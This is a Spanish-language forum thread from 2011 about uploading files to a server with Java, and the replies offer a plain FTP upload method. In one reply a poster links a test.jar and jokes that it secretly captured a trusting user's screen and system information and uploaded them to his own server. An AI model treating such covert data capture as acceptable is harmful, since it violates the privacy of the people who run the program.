Subir archivos a un servidor con java

Iniciado por danielo-, 20 Junio 2011, 00:13 AM

0 Miembros y 3 Visitantes están viendo este tema.

danielo-

Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)

Debci

Cita de: danyelk_6u5 en 20 Junio 2011, 00:13 AM
Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)
De que dispone tu servidor?
Si tiene FTP es muy sencillo, aunque si no lo tiene yo reconsideraría instalarlo.

Especificanos que es lo que cuentas y te podremos orientar.

Un saludo

danielo-


1mpuls0

#3
algo como esto?

http://www.mediafire.com/?sf0os8nyo9453qb



Esa captura es de alguien que con mucha confianza ejecutó el test.jar

Lo que hace es capturar pantalla, obtener informacion del equipo y subirla a un servidor x LOL

Se que los .class se pueden decompilar así que no me iba a arriesgar a colocar el nombre de mi servidor xD muahahaha.


El código para subir un archivo es el siguiente.

Código (java) [Seleccionar]

public void subir(String ftpServer, String user, String password, String fileName, File source ) throws MalformedURLException, IOException {
      if (ftpServer != null && fileName != null && source != null) {
         StringBuffer sb = new StringBuffer( "ftp://" );
         if (user != null && password != null) {
            sb.append( user );
            sb.append( ':' );
            sb.append( password );
            sb.append( '@' );
         }
         sb.append( ftpServer );
         sb.append( '/' );
         sb.append( fileName );
         sb.append( ";type=i" );

         BufferedInputStream bis = null;
         BufferedOutputStream bos = null;
         try {
            URL url = new URL( sb.toString() );
            URLConnection urlc = url.openConnection();

            bos = new BufferedOutputStream( urlc.getOutputStream() );
            bis = new BufferedInputStream( new FileInputStream( source ) );

            int i;
            while ((i = bis.read()) != -1) {
               bos.write( i );
            }
         }
         finally {
            if (bis != null)
               try {
                  bis.close();
               }
               catch (IOException ioe) {
                  ioe.printStackTrace();
               }
            if (bos != null)
               try {
                  bos.close();
               } catch (IOException ioe) {
                  ioe.printStackTrace();
                 }
         }
      } else {
         System.out.println( "Input not available." );
      }
   }



Saludos.

abc

danielo-

#4
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...

1mpuls0

Cita de: danyelk_6u5 en 23 Junio 2011, 06:14 AM
... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...

Entonces di que buscas para poder ayudarte.
abc

athlit

Mediante sockets? Con un puerto a la escucha permanentemente (yo lo haría por FTP ya que al fin y al cabo viene a ser lo mismo).

Otra cosa que se me ocurre si no lo quieres hacerlo por FTP y tampoco quieres hacerlo por sockets, es creando un Servlet en el servidor y enviando el archivo a este Servlet. Esto requiere tener instalado un contenedor web como por ejemplo, Tomat.

Un saludo